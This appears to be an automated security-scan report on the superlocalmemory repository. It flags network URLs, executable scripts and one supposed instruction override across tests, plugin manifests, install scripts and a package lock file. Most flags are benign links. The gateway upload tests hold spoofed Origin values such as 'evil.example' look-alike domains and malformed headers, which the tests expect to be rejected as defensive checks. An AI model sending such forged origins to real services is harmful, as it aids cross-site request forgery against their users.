for(const path of ['/u/','/u/x','/u/'+CONN+'/short','/u/'+CONN.toUpperCase()+'/'+TOKEN,'/u/'+CONN+'/'+TOKEN+'/more']){ const r=await api.handleUpload(new Request('https://mcp.superlocalmemory.com'+path),env); assert.equal(r.status,4 - Network accessline 42
const r=await api.handleUpload(new Request('https://mcp.superlocalmemory.com'+path),env); - Network accessline 116
assert.ok(api); const {env,frames}=live(); const noLength=new Request(URL_,{method:'POST',body:png(10),headers:{origin:'https://mcp.superlocalmemory.com'}}); - Network accessline 117
const {env,frames}=live(); const noLength=new Request(URL_,{method:'POST',body:png(10),headers:{origin:'https://mcp.superlocalmemory.com'}}); noLength.headers.delete('content-length'); - Network accessline 118
const noLength=new Request(URL_,{method:'POST',body:png(10),headers:{origin:'https://mcp.superlocalmemory.com'}}); - Network accessline 121
assert.equal((await api.handleUpload(post(new Uint8Array(0)),env)).status,400); for(const bad of ['abc','-5','1.5','1e9','']){ const r=new Request(URL_,{method:'POST',body:png(10),headers:{'content-length':bad,origin:'https://mcp.supe - Network accessline 122
for(const bad of ['abc','-5','1.5','1e9','']){ const r=new Request(URL_,{method:'POST',body:png(10),headers:{'content-length':bad,origin:'https://mcp.superlocalmemory.com'}}); assert.ok([400,411].includes((await api.handleUpload(r,e - Network accessline 123
const r=new Request(URL_,{method:'POST',body:png(10),headers:{'content-length':bad,origin:'https://mcp.superlocalmemory.com'}}); - Network accessline 145
test('POST refuses a foreign Origin before anything is relayed',async()=>{ assert.ok(api);const {env,frames}=live(); for(const origin of ['https://evil.example','null','http://mcp.superlocalmemory.com','https://mcp.superlocalmemory.com. - Network accessline 146
assert.ok(api);const {env,frames}=live(); for(const origin of ['https://evil.example','null','http://mcp.superlocalmemory.com','https://mcp.superlocalmemory.com.evil.example']){ const r=await api.handleUpload(post(png(10),{origin}),en - Network accessline 147
for(const origin of ['https://evil.example','null','http://mcp.superlocalmemory.com','https://mcp.superlocalmemory.com.evil.example']){ - Network accessline 150
} assert.equal(frames.length,0); assert.equal((await api.handleUpload(post(png(10),{origin:'https://mcp.superlocalmemory.com'}),env)).status,200); - Network accessline 151
assert.equal(frames.length,0); assert.equal((await api.handleUpload(post(png(10),{origin:'https://mcp.superlocalmemory.com'}),env)).status,200); }); - Network accessline 152
assert.equal((await api.handleUpload(post(png(10),{origin:'https://mcp.superlocalmemory.com'}),env)).status,200);
integrations/remote-gateway/tests/upload-page.test.mjs
- Executable scriptline 1
Executable file - Network accessline 103
const html=await api.uploadPage(kind,max).text(); const calls=[]; const dom=new JSDOM(html,{runScripts:'dangerously',url:'https://mcp.superlocalmemory.com/u/'+'a'.repeat(32)+'/'+'B'.repeat(43),beforeParse(window){ - Network accessline 104
const calls=[]; const dom=new JSDOM(html,{runScripts:'dangerously',url:'https://mcp.superlocalmemory.com/u/'+'a'.repeat(32)+'/'+'B'.repeat(43),beforeParse(window){ window.fetch=async(url,init)=>{calls.push({url,init});return replyFor( - Network accessline 105
const dom=new JSDOM(html,{runScripts:'dangerously',url:'https://mcp.superlocalmemory.com/u/'+'a'.repeat(32)+'/'+'B'.repeat(43),beforeParse(window){ window.fetch=async(url,init)=>{calls.push({url,init});return replyFor(init);}; }});
integrations/remote-gateway/tests/upload-protocol.test.mjs
- Executable scriptline 1
Executable file
integrations/remote-gateway/tests/usage-limit.test.mjs
- Executable scriptline 1
Executable file
integrations/remote-gateway/vitest.runtime.config.mts
- Executable scriptline 1
Executable file
llms.txt
- Network accessline 7
- [SETUP_FOR_AGENTS.md](https://github.com/qualixar/superlocalmemory/blob/main/SETUP_FOR_AGENTS.md): numbered, non-interactive install steps with expected output. - Network accessline 8
- Packages: `npm install -g superlocalmemory` or `pipx install superlocalmemory` (Python 3.12+). - Then: `slm init --auto`, `slm serve start`, `slm warmup`, `slm connect <host>` (Claude Code: `claude plugin install superlocalmemory@qualixar - Network accessline 10
- MCP: stdio `slm mcp`, or HTTP `http://127.0.0.1:8765/mcp/`. Call `session_init` at session start; `remember` and `recall` while working; `expand` to see more of one result. - Network accessline 14
- [README](https://github.com/qualixar/superlocalmemory/blob/main/README.md): every capability. - Network accessline 15
- [Recall](https://github.com/qualixar/superlocalmemory/blob/main/docs/recall.md): tiers, warming up, layered recall (depth, max_tokens, expand). - Network accessline 16
- [MCP tools](https://github.com/qualixar/superlocalmemory/blob/main/docs/mcp-tools.md) and [CLI](https://github.com/qualixar/superlocalmemory/blob/main/docs/cli-reference.md). - Network accessline 17
- [Universal agent rules](https://github.com/qualixar/superlocalmemory/blob/main/plugin-src/rules/AGENTS.md): when to recall and what to save. - Network accessline 18
- [Governance and GDPR](https://github.com/qualixar/superlocalmemory/blob/main/docs/compliance.md), [Pictures and documents](https://github.com/qualixar/superlocalmemory/blob/main/docs/pictures-and-documents.md), [Memory health](https://git
muse-plugin/.claude-plugin/plugin.json
- Network accessline 2
"author": { "name": "Qualixar", "url": "https://github.com/qualixar/superlocalmemory" - Network accessline 3
"name": "Qualixar", "url": "https://github.com/qualixar/superlocalmemory" }, - Network accessline 4
"url": "https://github.com/qualixar/superlocalmemory" - Network accessline 6
"description": "SuperLocalMemory for Muse CLI: local-first agent memory skills, agents and session hooks. Run `slm connect muse` first; it adds the MCP server to Muse.", "displayName": "SuperLocalMemory", "documentationUrl": "https://gi - Network accessline 7
"displayName": "SuperLocalMemory", "documentationUrl": "https://github.com/qualixar/superlocalmemory/blob/main/docs/plugins.md", "homepage": "https://superlocalmemory.com", - Network accessline 8
"documentationUrl": "https://github.com/qualixar/superlocalmemory/blob/main/docs/plugins.md", - Network accessline 9
"homepage": "https://superlocalmemory.com", - Network accessline 18
"license": "AGPL-3.0-or-later", "name": "superlocalmemory", "privacyPolicyUrl": "https://github.com/qualixar/superlocalmemory/blob/main/PRIVACY.md", - Network accessline 19
"name": "superlocalmemory", "privacyPolicyUrl": "https://github.com/qualixar/superlocalmemory/blob/main/PRIVACY.md", "repository": "https://github.com/qualixar/superlocalmemory", - Network accessline 20
"privacyPolicyUrl": "https://github.com/qualixar/superlocalmemory/blob/main/PRIVACY.md", - Network accessline 21
"repository": "https://github.com/qualixar/superlocalmemory", - Network accessline 22
"supportUrl": "https://github.com/qualixar/superlocalmemory/issues", - Network accessline 23
"termsOfServiceUrl": "https://qualixar.com/terms",
muse-plugin/LICENSE
- Network accessline 4
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/> - Network accessline 645
You should have received a copy of the GNU Affero General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. - Network accessline 646
along with this program. If not, see <https://www.gnu.org/licenses/>. - Network accessline 659
if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU AGPL, see <https://www.gnu.org/licenses/>. - Network accessline 661
<https://www.gnu.org/licenses/>.
muse-plugin/README.md
muse-plugin/requirements-cpu-torch.txt
- Network accessline 1
# CPU-only torch pin for the Linux-no-GPU path (ensure-venv.sh). # # Installed from https://download.pytorch.org/whl/cpu, which publishes the - Network accessline 2
# # Installed from https://download.pytorch.org/whl/cpu, which publishes the # same public version with a `+cpu` local segment — PEP 440 ignores the local - Network accessline 3
# Installed from https://download.pytorch.org/whl/cpu, which publishes the
muse-plugin/scripts/ensure-venv.bat
- Executable scriptline 1
Executable file
muse-plugin/scripts/ensure-venv.sh
muse-plugin/scripts/slm-launch
muse-plugin/scripts/slm-launch.bat
- Executable scriptline 1
Executable file
muse-plugin/scripts/slm-resolve.sh
- Executable scriptline 1
#!/usr/bin/env bash
muse-plugin/scripts/slm-run
muse-plugin/scripts/torch-cpu-resolve.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 8
# documents the same PyPI default for `uv pip`; plain pip resolves the same # index). The official CPU-only index is documented at # https://pytorch.org/get-started/locally/ as: - Network accessline 9
# index). The official CPU-only index is documented at # https://pytorch.org/get-started/locally/ as: # pip install torch --index-url https://download.pytorch.org/whl/cpu - Network accessline 10
# https://pytorch.org/get-started/locally/ as: - Network accessline 11
# pip install torch --index-url https://download.pytorch.org/whl/cpu - Network accessline 26
TORCH_CPU_INDEX_URL="https://download.pytorch.org/whl/cpu"
muse-plugin/skills/slm-cache/SKILL.md
- Network accessline 85
| Search result | `search:` | `search:recall:session_init_context` | | Tool output | `tool:` | `tool:build_code_graph:/repo` | | External fetch | `url:` | `url:https://api.example.com/v1/data` | - Network accessline 87
| External fetch | `url:` | `url:https://api.example.com/v1/data` |
muse-plugin/skills/slm-getting-started-bot/SKILL.md
- Instruction override signalline 41
None of this is a degraded mode — it is the whole surface. Do not tell the user a feature is "missing" when it was simply never wired to this host
muse-plugin/skills/slm-recall/SKILL.md
muse-plugin/skills/slm-web-access/SKILL.md
- Network accessline 22
1. Open the dashboard (`slm dashboard`, default `http://localhost:8765`) and go - Network accessline 35
memory while this computer is online." 5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 36
5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) also want the **OAuth metadata URL** - Network accessline 37
`https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 38
also want the **OAuth metadata URL** `https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`. Both are under **Technical details** with copy buttons. - Network accessline 39
`https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`.
package-lock.json
- Network accessline 31
"funding": { "type": "github", "url": "https://github.com/sponsors/varun369" - Network accessline 32
"type": "github", "url": "https://github.com/sponsors/varun369" } - Network accessline 33
"url": "https://github.com/sponsors/varun369" - Network accessline 36
"node_modules/@asamuzakjp/css-color": { "version": "5.1.11", "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-5.1.11.tgz", - Network accessline 37
"version": "5.1.11", "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-5.1.11.tgz", "integrity": "sha512-KVw6qIiCTUQhByfTd78h2yD1/00waTmm9uy/R7Ck/ctUyAPj+AEDLkQIdJW0T8+qGgj3j5bpNKK7Q3G+LedJWg==", - Network accessline 38
"resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-5.1.11.tgz", - Network accessline 53
"node_modules/@asamuzakjp/dom-selector": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/@asamuzakjp/dom-selector/-/dom-selector-7.1.1.tgz", - Network accessline 54
"version": "7.1.1", "resolved": "https://registry.npmjs.org/@asamuzakjp/dom-selector/-/dom-selector-7.1.1.tgz", "integrity": "sha512-67RZDnYRc8H/8MLDgQCDE//zoqVFwajkepHZgmXrbwybzXOEwOWGPYGmALYl9J2DOLfFPPs6kKCqmbzV895hTQ==", - Network accessline 55
"resolved": "https://registry.npmjs.org/@asamuzakjp/dom-selector/-/dom-selector-7.1.1.tgz", - Network accessline 70
"node_modules/@asamuzakjp/generational-cache": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/@asamuzakjp/generational-cache/-/generational-cache-1.0.1.tgz", - Network accessline 71
"version": "1.0.1", "resolved": "https://registry.npmjs.org/@asamuzakjp/generational-cache/-/generational-cache-1.0.1.tgz", "integrity": "sha512-wajfB8KqzMCN2KGNFdLkReeHncd0AslUSrvHVvvYWuU8ghncRJoA50kT3zP9MVL0+9g4/67H+cdvBskj9TH - Network accessline 72
"resolved": "https://registry.npmjs.org/@asamuzakjp/generational-cache/-/generational-cache-1.0.1.tgz", - Network accessline 80
"node_modules/@asamuzakjp/nwsapi": { "version": "2.3.9", "resolved": "https://registry.npmjs.org/@asamuzakjp/nwsapi/-/nwsapi-2.3.9.tgz", - Network accessline 81
"version": "2.3.9", "resolved": "https://registry.npmjs.org/@asamuzakjp/nwsapi/-/nwsapi-2.3.9.tgz", "integrity": "sha512-n8GuYSrI9bF7FFZ/SjhwevlHc8xaVlb/7HmHelnc/PZXBD2ZR49NnN9sMMuDdEGPeeRQ5d0hqlSlEpgCX3Wl0Q==", - Network accessline 82
"resolved": "https://registry.npmjs.org/@asamuzakjp/nwsapi/-/nwsapi-2.3.9.tgz", - Network accessline 87
"node_modules/@bramus/specificity": { "version": "2.4.2", "resolved": "https://registry.npmjs.org/@bramus/specificity/-/specificity-2.4.2.tgz", - Network accessline 88
"version": "2.4.2", "resolved": "https://registry.npmjs.org/@bramus/specificity/-/specificity-2.4.2.tgz", "integrity": "sha512-ctxtJ/eA+t+6q2++vj5j7FYX3nRu311q1wfYH3xjlLOsczhlhxAg2FWNUXhpGvAw3BWo1xBcvOV6/YLc2r5FJw==", - Network accessline 89
"resolved": "https://registry.npmjs.org/@bramus/specificity/-/specificity-2.4.2.tgz", - Network accessline 100
"node_modules/@csstools/color-helpers": { "version": "6.0.2", "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-6.0.2.tgz", - Network accessline 101
"version": "6.0.2", "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-6.0.2.tgz", "integrity": "sha512-LMGQLS9EuADloEFkcTBR3BwV/CGHV7zyDxVRtVDTwdI2Ca4it0CCVTT9wCkxSgokjE5Ho41hEPgb8OEUwoXr6Q==", - Network accessline 102
"resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-6.0.2.tgz", - Network accessline 106
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 107
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 108
"url": "https://github.com/sponsors/csstools" - Network accessline 110
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 111
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 112
"url": "https://opencollective.com/csstools" - Network accessline 120
"node_modules/@csstools/css-calc": { "version": "3.2.1", "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-3.2.1.tgz", - Network accessline 121
"version": "3.2.1", "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-3.2.1.tgz", "integrity": "sha512-DtdHlgXh5ZkA43cwBcAm+huzgJiwx3ZTWVjBs94kwz2xKqSimDA3lBgCjphYgwgVUMWatSM0pDd8TILB1yrVVg==", - Network accessline 122
"resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-3.2.1.tgz", - Network accessline 126
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 127
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 128
"url": "https://github.com/sponsors/csstools" - Network accessline 130
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 131
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 132
"url": "https://opencollective.com/csstools" - Network accessline 144
"node_modules/@csstools/css-color-parser": { "version": "4.1.7", "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-4.1.7.tgz", - Network accessline 145
"version": "4.1.7", "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-4.1.7.tgz", "integrity": "sha512-CmjJFQTFQx/U/xNJhSjCQ0ilpesPmNQ8+eOUeM/+kDOVW33qsIjeOXc27vrQDdWVkf83ZSWwtg7kXSUvKDJ8cQ==" - Network accessline 146
"resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-4.1.7.tgz", - Network accessline 150
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 151
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 152
"url": "https://github.com/sponsors/csstools" - Network accessline 154
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 155
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 156
"url": "https://opencollective.com/csstools" - Network accessline 172
"node_modules/@csstools/css-parser-algorithms": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-4.0.0.tgz", - Network accessline 173
"version": "4.0.0", "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-4.0.0.tgz", "integrity": "sha512-+B87qS7fIG3L5h3qwJ/IFbjoVoOe/bpOdh9hAjXbvx0o8ImEmUsGXN0inFOnk2ChCFgqkkGFQ+TpM5r - Network accessline 174
"resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-4.0.0.tgz", - Network accessline 178
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 179
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 180
"url": "https://github.com/sponsors/csstools" - Network accessline 182
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 183
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 184
"url": "https://opencollective.com/csstools" - Network accessline 195
"node_modules/@csstools/css-syntax-patches-for-csstree": { "version": "1.1.5", "resolved": "https://registry.npmjs.org/@csstools/css-syntax-patches-for-csstree/-/css-syntax-patches-for-csstree-1.1.5.tgz", - Network accessline 196
"version": "1.1.5", "resolved": "https://registry.npmjs.org/@csstools/css-syntax-patches-for-csstree/-/css-syntax-patches-for-csstree-1.1.5.tgz", "integrity": "sha512-oNjBvzLq2GPZtJphCjLqXow/cHySHSgtxvKZb7OqSZ/xHgw6NWNhfad+6AB9c - Network accessline 197
"resolved": "https://registry.npmjs.org/@csstools/css-syntax-patches-for-csstree/-/css-syntax-patches-for-csstree-1.1.5.tgz", - Network accessline 201
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 202
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 203
"url": "https://github.com/sponsors/csstools" - Network accessline 205
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 206
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 207
"url": "https://opencollective.com/csstools" - Network accessline 220
"node_modules/@csstools/css-tokenizer": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-4.0.0.tgz", - Network accessline 221
"version": "4.0.0", "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-4.0.0.tgz", "integrity": "sha512-QxULHAm7cNu72w97JUNCBFODFaXpbDg+dP8b/oWFAZ2MTRppA3U00Y2L1HqaS4J6yBqxwa/Y3nMBaxVKbB/NsA==", - Network accessline 222
"resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-4.0.0.tgz", - Network accessline 226
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 227
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 228
"url": "https://github.com/sponsors/csstools" - Network accessline 230
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 231
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 232
"url": "https://opencollective.com/csstools" - Network accessline 240
"node_modules/@exodus/bytes": { "version": "1.15.1", "resolved": "https://registry.npmjs.org/@exodus/bytes/-/bytes-1.15.1.tgz", - Network accessline 241
"version": "1.15.1", "resolved": "https://registry.npmjs.org/@exodus/bytes/-/bytes-1.15.1.tgz", "integrity": "sha512-S6mL0yNB/Abt9Ei4tq8gDhcczc4S3+vQ4ra7vxnAf+YHC02srtqxKKZghx2Dq6p0e66THKwR6r8N6P95wEty7Q==", - Network accessline 242
"resolved": "https://registry.npmjs.org/@exodus/bytes/-/bytes-1.15.1.tgz", - Network accessline 258
"node_modules/@types/node": { "version": "25.9.5", "resolved": "https://registry.npmjs.org/@types/node/-/node-25.9.5.tgz", - Network accessline 259
"version": "25.9.5", "resolved": "https://registry.npmjs.org/@types/node/-/node-25.9.5.tgz", "integrity": "sha512-OScDchr2fwuUmWdf4kZ9h7PcJiYDVInhJizG/biAq3cAvqwYktuy/TYGGdZNMtNTFUP7rnb0NU4TUdm82kt4Rg==", - Network accessline 260
"resolved": "https://registry.npmjs.org/@types/node/-/node-25.9.5.tgz", - Network accessline 267
"node_modules/bidi-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.0.3.tgz", - Network accessline 268
"version": "1.0.3", "resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.0.3.tgz", "integrity": "sha512-RKshQI1R3YQ+n9YJz2QQ147P66ELpa1FQEg20Dk8oW9t2KgLbpDLLp9aGZ7y8WHSshDknG0bknqGw5/tyCs5tw==", - Network accessline 269
"resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.0.3.tgz", - Network accessline 277
"node_modules/core-util-is": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", - Network accessline 278
"version": "1.0.3", "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", - Network accessline 279
"resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", - Network accessline 283
"node_modules/css-tree": { "version": "3.2.1", "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.2.1.tgz", - Network accessline 284
"version": "3.2.1", "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.2.1.tgz", "integrity": "sha512-X7sjQzceUhu1u7Y/ylrRZFU2FS6LRiFVp6rKLPg23y3x3c3DOKAwuXGDp+PAGjh6CSnCjYeAul8pcT8bAl+lSA==", - Network accessline 285
"resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.2.1.tgz", - Network accessline 297
"node_modules/data-urls": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-7.0.0.tgz", - Network accessline 298
"version": "7.0.0", "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-7.0.0.tgz", "integrity": "sha512-23XHcCF+coGYevirZceTVD7NdJOqVn+49IHyxgszm+JIiHLoB2TkmPtsYkNWT1pvRSGkc35L6NHs0yHkN2SumA==", - Network accessline 299
"resolved": "https://registry.npmjs.org/data-urls/-/data-urls-7.0.0.tgz", - Network accessline 311
"node_modules/decimal.js": { "version": "10.6.0", "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", - Network accessline 312
"version": "10.6.0", "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", - Network accessline 313
"resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", - Network accessline 318
"node_modules/docx": { "version": "9.7.1", "resolved": "https://registry.npmjs.org/docx/-/docx-9.7.1.tgz", - Network accessline 319
"version": "9.7.1", "resolved": "https://registry.npmjs.org/docx/-/docx-9.7.1.tgz", "integrity": "sha512-ilXFf9Moz47ABjFpDiA5s1w9lpb4EFSp7+5iiJSbfyYDM+bpZdAgLlSr7fW4aXhVe/E+F6QCv0EvRVFEd5CsWg==", - Network accessline 320
"resolved": "https://registry.npmjs.org/docx/-/docx-9.7.1.tgz", - Network accessline 335
"node_modules/entities": { "version": "8.0.0", "resolved": "https://registry.npmjs.org/entities/-/entities-8.0.0.tgz", - Network accessline 336
"version": "8.0.0", "resolved": "https://registry.npmjs.org/entities/-/entities-8.0.0.tgz", "integrity": "sha512-zwfzJecQ/Uej6tusMqwAqU/6KL2XaB2VZ2Jg54Je6ahNBGNH6Ek6g3jjNCF0fG9EWQKGZNddNjU5F1ZQn/sBnA==", - Network accessline 337
"resolved": "https://registry.npmjs.org/entities/-/entities-8.0.0.tgz", - Network accessline 343
}, "funding": { "url": "https://github.com/fb55/entities?sponsor=1" - Network accessline 344
"funding": { "url": "https://github.com/fb55/entities?sponsor=1" } - Network accessline 345
"url": "https://github.com/fb55/entities?sponsor=1" - Network accessline 348
"node_modules/hash.js": { "version": "1.1.7", "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz", - Network accessline 349
"version": "1.1.7", "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz", "integrity": "sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==", - Network accessline 350
"resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz", - Network accessline 358
"node_modules/html-encoding-sniffer": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-6.0.0.tgz", - Network accessline 359
"version": "6.0.0", "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-6.0.0.tgz", "integrity": "sha512-CV9TW3Y3f8/wT0BRFc1/KAVQ3TUHiXmaAb6VW9vtiMFf7SLoMd1PdAc4W3KFOFETBJUb90KatHqlsZMWV+R9Gg==" - Network accessline 360
"resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-6.0.0.tgz", - Network accessline 371
"node_modules/immediate": { "version": "3.0.6", "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz", - Network accessline 372
"version": "3.0.6", "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz", "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==", - Network accessline 373
"resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz", - Network accessline 377
"node_modules/inherits": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - Network accessline 378
"version": "2.0.4", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - Network accessline 379
"resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - Network accessline 383
"node_modules/is-potential-custom-element-name": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", - Network accessline 384
"version": "1.0.1", "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmP - Network accessline 385
"resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", - Network accessline 390
"node_modules/isarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - Network accessline 391
"version": "1.0.0", "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", - Network accessline 392
"resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - Network accessline 396
"node_modules/jsdom": { "version": "29.1.1", "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-29.1.1.tgz", - Network accessline 397
"version": "29.1.1", "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-29.1.1.tgz", "integrity": "sha512-ECi4Fi2f7BdJtUKTflYRTiaMxIB0O6zfR1fX0GXpUrf6flp8QIYn1UT20YQqdSOfk2dfkCwS8LAFoJDEppNK5Q==", - Network accessline 398
"resolved": "https://registry.npmjs.org/jsdom/-/jsdom-29.1.1.tgz", - Network accessline 437
"node_modules/jszip": { "version": "3.10.1", "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.10.1.tgz", - Network accessline 438
"version": "3.10.1", "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.10.1.tgz", "integrity": "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g==", - Network accessline 439
"resolved": "https://registry.npmjs.org/jszip/-/jszip-3.10.1.tgz", - Network accessline 449
"node_modules/lie": { "version": "3.3.0", "resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz", - Network accessline 450
"version": "3.3.0", "resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz", "integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==", - Network accessline 451
"resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz", - Network accessline 458
"node_modules/lru-cache": { "version": "11.5.1", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.5.1.tgz", - Network accessline 459
"version": "11.5.1", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.5.1.tgz", "integrity": "sha512-RPimw/7aMdv2oqRrxKwvZXcPfwBrn/JZ2xYcY9Hus/6LaS3VOAKVWKWgNLCFSiOm1ESXinjsDlidVU7JlnCN2A==", - Network accessline 460
"resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.5.1.tgz", - Network accessline 468
"node_modules/mdn-data": { "version": "2.27.1", "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.27.1.tgz", - Network accessline 469
